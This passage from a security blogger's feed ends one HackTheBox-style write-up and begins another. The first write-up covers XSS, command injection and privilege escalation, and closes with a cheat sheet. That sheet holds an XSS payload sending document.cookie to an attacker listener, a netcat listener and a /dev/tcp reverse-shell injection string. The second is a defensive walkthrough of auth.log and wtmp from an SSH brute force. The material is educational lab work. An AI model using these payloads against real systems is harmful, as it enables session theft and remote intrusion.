&lt;p&gt;&lt;strong&gt;Cookie Theft&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It wasn’t about popping an alert box. I used the XSS to blindly exfiltrate the Administrator’s session cookie when they (the bot/admin) reviewed the report.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The RCE&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;With admin access, I reached the image management panel. Code review (leaked via a directory traversal bug) revealed a Command Injection flaw in the crop feature—but it was only accessible to authenticated admins. Without that "low prio" XSS, the RCE was unreachable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The PrivEsc&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Leaked the database credentials to crack the test user's hash.&lt;/p&gt;

&lt;p&gt;Found an encrypted backup (pyAesCrypt), brute-forced it to find &lt;em&gt;another&lt;/em&gt; user's hash.&lt;/p&gt;

&lt;p&gt;Finally rooted the box by abusing a custom backup utility running with sudo privileges.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Commands Cheat Sheet&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;While the logic is paramount, having the right syntax is critical for execution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;XSS Payload (Session Stealing):&lt;/strong&gt; Inject this into the bug report description to exfiltrate the admin’s cookie to your listener.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/x" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/x"&gt;&lt;/a&gt;:4444/?cookie='+document.cookie&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cookie Listener:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;nc -lvnp 4444&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command Injection (ImageMagick Context):&lt;/strong&gt; If the application naively concatenates arguments, you can break out of the convert command. ; /bin/bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp//4445 0&amp;gt;&amp;amp;1';&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stabilizing the Shell:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;python3 -c 'import pty; pty.spawn("/bin/bash")' (Ctrl+Z) stty raw -echo; fg&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Privilege Escalation (Cron/File Monitoring):&lt;/strong&gt; If a root script processes files in a directory you control, creating a malicious file name or content can trigger execution.&lt;/p&gt;

&lt;p&gt;echo 'import os; os.system("/bin/bash")' &amp;gt; /tmp/malicious.py&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Takeaway&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you are ignoring XSS to hunt for “cooler” binary exploits, you are missing the forest for the trees. In modern web apps, XSS is often the only way to bridge the gap between “Public User” and “Internal Admin” where the RCEs actually live.&lt;/p&gt;

&lt;p&gt;If you want to see the exact payloads, the Python scripts I used for the crypto-cracking, and the full step-by-step breakdown, check out my writeup here&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Join the Cyber Security Notes Membership:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Get exclusive cybersecurity notes, weekly expert insights, and practical breakdowns you won’t find in public feeds. Built for people who want clarity, not content overload.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;

&lt;/p&gt;
&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/membership" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.buymeacoffee.com%2Fopengraph%2Fimages%2F1730588%2F1%2Fog_9630827_1765478408.jpg" height="auto" class="m-0"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/membership" rel="noopener noreferrer" class="c-link"&gt;
            Membership | The MasterMinds Notes - Buymeacoffee
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            AboutCyber Security Notes &amp;amp;amp; CoursesContactconsultation@motasem-notes.netProduct's Legal &amp;amp;amp; TOS InfoPlease read all terms of service and legal information about the products from hereReviews and
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.buymeacoffee.com%2Fuploads%2Fprofile_pictures%2F2024%2F08%2FZM833oVaI4yezrXw.png%401f.png"&gt;
          buymeacoffee.com
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;





&lt;p&gt;

  &lt;iframe src="https://www.youtube.com/embed/QtMFd_k9aAg"&gt;
  &lt;/iframe&gt;


&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>programming</category>
      <category>learning</category>
    </item>
    <item>
      <title>HackTheBox Sherlock Brutus Writeup</title>
      <dc:creator>Motasem Hamdan</dc:creator>
      <pubDate>Wed, 04 Feb 2026 12:10:51 +0000</pubDate>
      <link>https://dev.to/motasem_hamdan_9c56098a7e/hackthebox-sherlock-brutus-writeup-537g</link>
      <guid>https://dev.to/motasem_hamdan_9c56098a7e/hackthebox-sherlock-brutus-writeup-537g</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu48tvzk396x5118l1wbc.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu48tvzk396x5118l1wbc.webp" alt=" "&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;HackTheBox Brutus is a beginner-level DFIR challenge that includes an &lt;em&gt;auth.log&lt;/em&gt; file and a &lt;em&gt;wtmp&lt;/em&gt; file as key artifacts. Using these, we’ll track how an attacker conducted an SSH brute force attack, ultimately succeeding in guessing the root user’s password. We’ll then analyze how the attacker manually reconnects, creates a new user, and adds this user to the sudo group. Finally, We’ll observe how the new user logs in and executes a few commands with sudo privileges.&lt;/p&gt;

&lt;h2&gt;
  
  
  HackTheBox Sherlock Brutus Description
&lt;/h2&gt;

&lt;p&gt;In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We’ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.&lt;/p&gt;

&lt;h2&gt;
  
  
  HackTheBox Sherlock Brutus Questions
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?&lt;/li&gt;
&lt;li&gt;The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?&lt;/li&gt;
&lt;li&gt;Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?&lt;/li&gt;
&lt;li&gt;SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?&lt;/li&gt;
&lt;li&gt;The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?&lt;/li&gt;
&lt;li&gt;What is the MITRE ATT&amp;amp;CK sub-technique ID used for persistence?&lt;/li&gt;
&lt;li&gt;How long did the attacker’s first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)&lt;/li&gt;
&lt;li&gt;The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Analysis
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Analyzing auth.log
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;auth.log&lt;/code&gt; file records both successful and failed login attempts, sudo and su actions, and other authentication-related processes. On Debian/Ubuntu systems, this log is stored at &lt;code&gt;/var/log/auth.log&lt;/code&gt;, while on RedHat/CentOS systems, it is located at &lt;code&gt;/var/log/secure&lt;/code&gt;. Referring to the first entry in the &lt;code&gt;auth.log&lt;/code&gt; for Brutus:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Date/Time: March 6 at 06:18:01&lt;/li&gt;
&lt;li&gt;Hostname: ip-172–31–35–28&lt;/li&gt;
&lt;li&gt;Service: The cron service&lt;/li&gt;
&lt;li&gt;Process ID (PID): 1119&lt;/li&gt;
&lt;li&gt;Message: The root user initiated a cron job (scheduled Linux task) executed as the confluence user, who has a user ID (UID) of 998.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;motasem@kali$ unzip -l Brutus.zip   
Archive:  Brutus.zip  
      Date       Name  
  ----------   ----  
    11:47   auth.log  
   11:47   wtmp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;

&lt;/p&gt;
&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/e/332495" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fimg.buymeacoffee.com%2Fapi%2F%3Fextras%3DdXJsPSZjcmVhdG9yPVRoZSUyME1hc3Rlck1pbmRzJTIwTm90ZXMmZGVzaWduX2NvZGU9MiZkZXNpZ25fY29sb3I9JTIzRkZERDAwJnNsdWc9bm90ZXNjYXRhbG9nJmlzX2NyZWF0aW5nPUNvdXJzZXMlMkMlMjBTdHVkeSUyME5vdGVzJTIwJTI2JTIwQm9vayUyMFN1bW1hcmllcyZleHRyYXNfdGl0bGU9UTJWeWRHbG1hV1ZrSUVONVltVnlJRVJsWm1WdVpHVnlJQ2hEUTBSTU1pa2dVM1IxWkhrZ1RtOTBaWE1nS0ZWdWIyWm1hV05wWVd3cCZleHRyYXNfaW1hZ2U9YUhSMGNITTZMeTlqWkc0dVluVjViV1ZoWTI5bVptVmxMbU52YlM5MWNHeHZZV1J6TDNKbGQyRnlaSE12TWpBeU5TMHdOeTB5TWk4eEx6SXdNVGcxTkY5RGIzWmxjbDkyTXk1cWNHVm5RRE13TUhkZk1HVXVhbkJu" height="auto" class="m-0"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/e/332495" rel="noopener noreferrer" class="c-link"&gt;
            Certified Cyber Defender (CCDL2) Study Notes (Unofficial) - Buymeacoffee
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            The CCDL2 (formerly CCD) Study Notes are a comprehensive guide designed to prepare individuals for the CCDL2 certification exam. They cover a wide range of topics pertinent to cybersecurity defense, i
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.buymeacoffee.com%2Fuploads%2Fprofile_pictures%2F2024%2F08%2FZM833oVaI4yezrXw.png%401f.png"&gt;
          buymeacoffee.com
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;





&lt;h3&gt;
  
  
  Analyzing wtmp
&lt;/h3&gt;

&lt;p&gt;The wtmp file is one of three files used to log login and logout events on a Linux system:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;/var/run/utmp: Tracks currently logged-in users.&lt;/li&gt;
&lt;li&gt;/var/log/wtmp: Maintains a historical record of login and logout events.&lt;/li&gt;
&lt;li&gt;/var/log/btmp: Logs unsuccessful login attempts.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;motasem@kali$ head -1 auth.log   
Dec  01 03:13:41 ip-172-31-35-28 CRON[1119]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These files store their data in a binary format, so their contents cannot be easily understood when accessed directly. Instead, specific Linux utilities are used to parse and display their information.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;For btmp, the &lt;code&gt;who&lt;/code&gt; (or &lt;code&gt;w&lt;/code&gt;) command will display its contents.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;last&lt;/code&gt; command can be used to view wtmp.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;lastb&lt;/code&gt; command is for examining btmp.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;motasem@kali$ sudo lastb  
root     pts/13                        Dec  01 03:13:41  (00:00)

btmp begins Dec  01 03:13:41
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To examine a wtmp file independently, the &lt;code&gt;utmpdump&lt;/code&gt; utility can be used. It is included in the &lt;code&gt;util-linux&lt;/code&gt; package, which can be installed via &lt;code&gt;sudo apt install util-linux&lt;/code&gt;. When viewing the contents of a wtmp file with &lt;code&gt;utmpdump&lt;/code&gt;, the output includes the following columns:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Event Type&lt;/li&gt;
&lt;li&gt;PID (Process ID)&lt;/li&gt;
&lt;li&gt;Terminal ID&lt;/li&gt;
&lt;li&gt;User&lt;/li&gt;
&lt;li&gt;Host&lt;/li&gt;
&lt;li&gt;IP Address&lt;/li&gt;
&lt;li&gt;Timestamp
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;motasem@kali$ utmpdump wtmp   
Utmp dump of wtmp  
[2] [00000] [~~  ] [reboot  ] [~           ] [6.2.0-1017-aws      ] [0.0.0.0        ] [2024-01-25T11:12:17,804944+00:00]  
[5] [00601] [tyS0] [        ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-01-25T11:12:31,072401+00:00]  
[6] [00601] [tyS0] [LOGIN   ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-01-25T11:12:31,072401+00:00]  
[5] [00618] [tty1] [        ] [tty1        ] [                    ] [0.0.0.0        ] [2024-01-25T11:12:31,080342+00:00]  
[6] [00618] [tty1] [LOGIN   ] [tty1        ] [                    ] [0.0.0.0        ] [2024-01-25T11:12:31,080342+00:00]  
[1] [00053] [~~  ] [runlevel] [~           ] [6.2.0-1017-aws      ] [0.0.0.0        ] [2024-01-25T11:12:33,792454+00:00]  
[7] [01284] [ts/0] [ubuntu  ] [pts/0       ] [203.101.190.9       ] [203.101.190.9  ] [2024-01-25T11:13:58,354674+00:00]  
[8] [01284] [    ] [        ] [pts/0       ] [                    ] [0.0.0.0        ] [2024-01-25T11:15:12,956114+00:00]  
[7] [01483] [ts/0] [root    ] [pts/0       ] [203.101.190.9       ] [203.101.190.9  ] [2024-01-25T11:15:40,806926+00:00]  
[8] [01404] [    ] [        ] [pts/0       ] [                    ] [0.0.0.0        ] [2024-01-25T12:34:34,949753+00:00]  
[7] [836798] [ts/0] [root    ] [pts/0       ] [203.101.190.9       ] [203.101.190.9  ] [2024-02-11T10:33:49,408334+00:00]  
[5] [838568] [tyS0] [        ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-02-11T10:39:02,172417+00:00]  
[6] [838568] [tyS0] [LOGIN   ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-02-11T10:39:02,172417+00:00]  
[7] [838962] [ts/1] [root    ] [pts/1       ] [203.101.190.9       ] [203.101.190.9  ] [2024-02-11T10:41:11,700107+00:00]  
[8] [838896] [    ] [        ] [pts/1       ] [                    ] [0.0.0.0        ] [2024-02-11T10:41:46,272984+00:00]  
[7] [842171] [ts/1] [root    ] [pts/1       ] [203.101.190.9       ] [203.101.190.9  ] [2024-02-11T10:54:27,775434+00:00]  
[8] [842073] [    ] [        ] [pts/1       ] [                    ] [0.0.0.0        ] [2024-02-11T11:08:04,769514+00:00]  
[8] [836694] [    ] [        ] [pts/0       ] [                    ] [0.0.0.0        ] [2024-02-11T11:08:04,769963+00:00]  
[1] [00000] [~~  ] [shutdown] [~           ] [6.2.0-1017-aws      ] [0.0.0.0        ] [2024-02-11T11:09:18,000731+00:00]  
[2] [00000] [~~  ] [reboot  ] [~           ] [6.2.0-1018-aws      ] [0.0.0.0        ] [2024-03-06T06:17:15,744575+00:00]  
[5] [00464] [tyS0] [        ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-03-06T06:17:27,354378+00:00]  
[6] [00464] [tyS0] [LOGIN   ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-03-06T06:17:27,354378+00:00]  
[5] [00505] [tty1] [        ] [tty1        ] [                    ] [0.0.0.0        ] [2024-03-06T06:17:27,469940+00:00]  
[6] [00505] [tty1] [LOGIN   ] [tty1        ] [                    ] [0.0.0.0        ] [2024-03-06T06:17:27,469940+00:00]  
[1] [00053] [~~  ] [runlevel] [~           ] [6.2.0-1018-aws      ] [0.0.0.0        ] [2024-03-06T06:17:29,538024+00:00]  
[7] [01583] [ts/0] [root    ] [pts/0       ] [203.101.190.9       ] [203.101.190.9  ] [2024-03-06T06:19:55,151913+00:00]  
[7] [02549] [ts/1] [root    ] [pts/1       ] [65.2.161.68         ] [65.2.161.68    ] [2024-03-06T06:32:45,387923+00:00]  
[8] [02491] [    ] [        ] [pts/1       ] [                    ] [0.0.0.0        ] [2024-03-06T06:37:24,590579+00:00]  
[7] [02667] [ts/1] [cyberjunkie] [pts/1       ] [65.2.161.68         ] [65.2.161.68    ] [2024-03-06T06:37:35,475575+00:00]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  SSH Brute Force Analysis
&lt;/h2&gt;

&lt;p&gt;To investigate a brute force attack over SSH, we’ll start by examining failed login attempts, as these won’t appear in the wtmp file. The auth.log file is relatively short at 385 lines, allowing for a manual scan to spot any anomalies. The log captures activity from March 6 within a 21-minute timeframe, from 06:18:01 to 06:41:01.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;motasem@kali$ wc -l auth.log   
385 auth.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since the auth.log format can be cumbersome to parse compared to structured formats like JSON, we’ll leverage Bash skills with commands like &lt;code&gt;cut&lt;/code&gt; and &lt;code&gt;grep&lt;/code&gt; for analysis. My approach to understanding the various services in the log involves:&lt;/p&gt;

&lt;p&gt;Extracting the service name:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Using &lt;code&gt;cut&lt;/code&gt; with a space delimiter to isolate the 6th field (e.g., &lt;code&gt;CRON[1119]:&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Piping this output into &lt;code&gt;cut&lt;/code&gt; again, splitting on &lt;code&gt;[&lt;/code&gt; to isolate just the service name (e.g., &lt;code&gt;CRON&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Sorting and counting occurrences:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Piping the results into &lt;code&gt;sort | uniq -c | sort -nr&lt;/code&gt; to generate a frequency-sorted list of unique service names.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From this, we’ll identify the most active contributors to the log, primarily SSH and CRON, along with other potentially interesting Unix commands, which ew’ll investigate further.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;motasem@kali$ cat auth.log | cut -d' ' -f 6 | cut -d[ -f1 | sort | uniq -c | sort -nr  
    257 sshd  
    104 CRON  
      8 systemd-logind  
      6 sudo:  
      3 groupadd  
      2 usermod  
      2 systemd:  
      1 useradd  
      1 passwd  
      1 chfn
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To analyze SSH activity, we’ll use the command &lt;code&gt;cat auth.log | grep sshd | less&lt;/code&gt; to filter and view only SSH-related events. The logs begin with a successful root login. Shortly afterward, there is a sequence of failed login attempts from the IP address 65.2.161.68. These logs indicate attempts to log in as the user “admin,” which does not exist on the system.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Mar  6 06:19:52 ip-172-31-35-28 sshd[1465]: AuthorizedKeysCommand /usr/share/ec2-instance-connect/eic_run_authorized_keys root SHA256:4vycLsDMzI+hyb9OP3wd18zIpyTqJmRq/QIZaLNrg8A failed, status 22  
Mar  6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2  
Mar  6 06:19:54 ip-172-31-35-28 sshd[1465]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The failed login attempts occur between 06:31:33 and 06:31:42, suggesting the use of a brute force tool or script, as a human typist could not input attempts so quickly. By using &lt;code&gt;grep&lt;/code&gt; with the term “Failed,” we can extract the full range of failed login events.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Invalid user admin from 65.2.161.68 port 46380  
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Received disconnect from 65.2.161.68 port 46380:11: Bye Bye [preauth]  
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Disconnected from invalid user admin 65.2.161.68 port 46380 [preauth]  
Mar  6 06:31:31 ip-172-31-35-28 sshd[620]: error: beginning MaxStartups throttling  
Mar  6 06:31:31 ip-172-31-35-28 sshd[620]: drop connection #10 from [65.2.161.68]:46482 on [172.31.35.28]:22 past MaxStartups  
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: Invalid user admin from 65.2.161.68 port 46392  
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): check pass; user unknown  
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68   
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: Invalid user admin from 65.2.161.68 port 46444  
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: Invalid user admin from 65.2.161.68 port 46436  
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: pam_unix(sshd:auth): check pass; user unknown  
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68   
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: pam_unix(sshd:auth): check pass; user unknown  
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68   
Mar  6 06:31:31 ip-172-31-35-28 sshd[2330]: Invalid user admin from 65.2.161.68 port 46422  
Mar  6 06:31:31 ip-172-31-35-28 sshd[2337]: Invalid user admin from 65.2.161.68 port 46498  
Mar  6 06:31:31 ip-172-31-35-28 sshd[2328]: Invalid user admin from 65.2.161.68 port 46390  
Mar  6 06:31:31 ip-172-31-35-28 sshd[2335]: Invalid user admin from 65.2.161.68 port 46460
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To further analyze, I’ll use &lt;code&gt;cut&lt;/code&gt; and &lt;code&gt;grep&lt;/code&gt; to create a histogram of the attempted login usernames. This involves isolating the username portion, which may either be a single word or prefixed with “invalid user.” To handle this, we’ll manipulate the string with &lt;code&gt;cut&lt;/code&gt; and reverse it to capture the data accurately.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;motasem@kali$ cat auth.log | grep Failed | cut -d: -f4 | cut -d' ' -f5- | rev | cut -d' ' -f6- | rev | sort | uniq -c | sort -nr  
     12 invalid user server_adm  
     11 invalid user svc_account  
     10 invalid user admin  
      9 backup  
      6 root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This analysis reveals that the attacker attempted five different usernames and identified two valid ones.&lt;/p&gt;

&lt;p&gt;At this stage, it appears reasonable to conclude that the attacker’s IP address is 65.2.161.68.&lt;/p&gt;

&lt;p&gt;Once we determine the timeframe of the brute force attack, it’s essential to review all the logs within that period to identify any successful attempts. Previously, we noticed that a successful SSH login message began with “Accepted password for.” we’ll use &lt;code&gt;grep&lt;/code&gt; to search for that pattern.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;motasem@kali$ cat auth.log | grep Accepted   
Mar  6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2  
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2  
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2  
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The search reveals four successful logins, with the second one occurring near the end of the brute force activity targeting the root user. Reviewing logs from that time shows related entries. Specifically, there’s a successful login as root followed immediately by a disconnect within the same second. The logs include multiple disconnection entries, but it’s worth noting that the connection for root occurs on port 34782, and the corresponding disconnect for that port appears 12 lines later amidst ongoing brute force attempts.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2  
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)  
Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.  
Mar  6 06:31:40 ip-172-31-35-28 sshd[2379]: Received disconnect from 65.2.161.68 port 46698:11: Bye Bye [preauth]  
Mar  6 06:31:40 ip-172-31-35-28 sshd[2379]: Disconnected from invalid user server_adm 65.2.161.68 port 46698 [preauth]  
Mar  6 06:31:40 ip-172-31-35-28 sshd[2380]: Received disconnect from 65.2.161.68 port 46710:11: Bye Bye [preauth]  
Mar  6 06:31:40 ip-172-31-35-28 sshd[2380]: Disconnected from invalid user server_adm 65.2.161.68 port 46710 [preauth]  
Mar  6 06:31:40 ip-172-31-35-28 sshd[2387]: Connection closed by invalid user svc_account 65.2.161.68 port 46742 [preauth]  
Mar  6 06:31:40 ip-172-31-35-28 sshd[2423]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68  user=backup  
Mar  6 06:31:40 ip-172-31-35-28 sshd[2424]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68  user=backup  
Mar  6 06:31:40 ip-172-31-35-28 sshd[2389]: Connection closed by invalid user svc_account 65.2.161.68 port 46744 [preauth]  
Mar  6 06:31:40 ip-172-31-35-28 sshd[2391]: Connection closed by invalid user svc_account 65.2.161.68 port 46750 [preauth]  
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Received disconnect from 65.2.161.68 port 34782:11: Bye Bye  
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782  
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session closed for user root  
Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: Session 34 logged out. Waiting for processes to exit.  
Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: Removed session 34.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This pattern aligns with behavior typical of brute force tools like Hydra or NetExec, which test for success or failure and log successful attempts for later use by the attacker.&lt;/p&gt;

&lt;p&gt;In this case, the account successfully brute forced was root.&lt;/p&gt;

&lt;h2&gt;
  
  
